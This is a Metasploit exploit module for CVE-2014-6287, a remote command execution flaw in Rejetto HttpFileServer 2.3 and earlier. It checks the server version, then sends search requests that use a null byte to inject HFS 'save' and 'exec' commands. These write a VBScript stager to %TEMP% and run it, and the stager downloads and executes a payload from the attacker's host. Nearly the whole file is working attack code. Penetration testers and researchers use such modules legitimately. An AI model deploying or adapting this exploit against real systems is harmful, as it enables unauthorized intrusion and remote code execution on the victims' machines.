##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Rejetto HttpFileServer Remote Command Execution",
        'Description' => %q{
          Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
          poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by
          using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
          over Windows XP SP3, Windows 7 SP1 and Windows 8.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
        ],
        'References' => [
          ['CVE', '2014-6287'],
          ['OSVDB', '111386'],
          ['URL', 'https://seclists.org/bugtraq/2014/Sep/85'],
          ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
        ],
        'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'Privileged' => false,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2014-09-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
        OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
      ]
    )
  end

  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri' => '/'
    })

    if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
      version = $1
      if Rex::Version.new(version) <= Rex::Version.new("2.3")
        return Exploit::CheckCode::Detected
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_request_uri(cli, req)
    print_status("Payload request received: #{req.uri}")
    exe = generate_payload_exe
    vbs = Msf::Util::EXE.to_exe_vbs(exe)
    send_response(cli, vbs, { 'Content-Type' => 'application/octet-stream' })
    # remove resource after serving 1st request as 'exec' execute 4x
    # during exploitation
    remove_resource(get_resource)
  end

  def autofilter
    true
  end

  def primer
    file_name = rand_text_alpha(rand(10) + 5)
    file_ext = '.vbs'
    file_full_name = file_name + file_ext
    vbs_path = "%TEMP%\\#{file_full_name}"

    vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
    vbs_code << "On Error Resume Next\x0d\x0a"
    vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
    vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
    vbs_code << "wsh.exit\x0d\x0a"
    vbs_code << "End If\x0d\x0a"
    vbs_code << "x.Send\x0d\x0a"
    vbs_code << "Execute x.responseText"

    payloads = [
      "save|#{vbs_path}|#{vbs_code}",
      "exec|wscript.exe //B //NOLOGO #{vbs_path}"
    ]

    print_status("Sending a malicious request to #{target_uri.path}")
    payloads.each do |payload|
      send_request_raw({
        'method' => 'GET',
        'uri' => "/?search=%00{.#{URI::encode_www_form_component(payload)}.}"
      })
    end
    register_file_for_cleanup(vbs_path)
  end

  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, this is raised
    end
  end
end
